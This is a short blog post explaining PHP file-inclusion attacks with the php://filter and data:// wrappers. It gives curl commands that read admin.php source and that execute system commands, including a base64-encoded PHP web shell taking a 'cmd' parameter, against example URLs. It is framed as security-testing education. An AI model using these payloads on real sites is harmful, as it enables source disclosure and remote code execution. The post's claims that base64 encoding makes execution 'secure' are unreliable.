Exploring PHP Wrappers: Enhancing PHP Capabilities

Malek Althubiany
2 min readJun 20, 2024

--

PHP, as a versatile scripting language, offers a variety of protocol wrappers that extend its functionalities, particularly in handling file streams and remote data. These wrappers are instrumental in bypassing filters or exploiting vulnerabilities like File Inclusion in PHP web applications. In this article, we’ll delve into two significant PHP wrappers: php://filter and data://.

Understanding php://filter

The php://filter wrapper allows us to process streams in PHP, enabling us to read, write, and filter data. It supports a range of operations, including displaying the contents of files without executing them. This is crucial for inspecting PHP files for sensitive information and understanding the logic of a web application.

For instance, by using php://filter without any encoding, we can include and view the content of files such as admin.php. Here’s how this can be done:

curl http://example.com/meteor/index.php?page=php://filter/resource=admin.php

This method allows us to inspect the PHP file’s contents directly on the web page, revealing valuable insights into the application’s workings and potential vulnerabilities.

Encoding with php://filter

Additionally, php://filter supports encoding methods like Base64, which can be used to obscure the content of files. This prevents them from executing while still allowing us to review their contents. Here's an example of using Base64 encoding with php://filter:

$ curl http://example.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php

This approach encodes the content of admin.php in Base64 format, preserving its integrity while allowing for secure inspection.

Leveraging data:// for Code Execution

The data:// wrapper provides a means to embed data directly within PHP scripts, facilitating code execution within a web application. This is particularly useful when trying to execute commands and may bypass certain security filters that restrict typical PHP code elements.

For example, to execute the ls command within the context of the web application, we can use data:// like so:

curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

This command demonstrates the execution of the ls command via the data:// wrapper, showcasing its utility in exploiting vulnerabilities like File Inclusion.

Base64 Encoding with data://

To further enhance security and bypass filters, we can encode PHP snippets in Base64 and execute them via data://, as shown below:

$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==

$ curl "http://example.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

This technique allows us to execute commands securely through the web application, utilizing the data:// wrapper with Base64 encoding.

Conclusion

PHP wrappers like php://filter and data:// significantly enhance PHP’s capabilities, particularly in handling files and executing code within web applications. These wrappers are essential tools for web application security testing, enabling developers and security analysts to identify and mitigate vulnerabilities effectively.

By understanding and effectively utilizing these wrappers, developers can enhance the security posture of PHP web applications and ensure they are resilient against common attack vectors.

--

--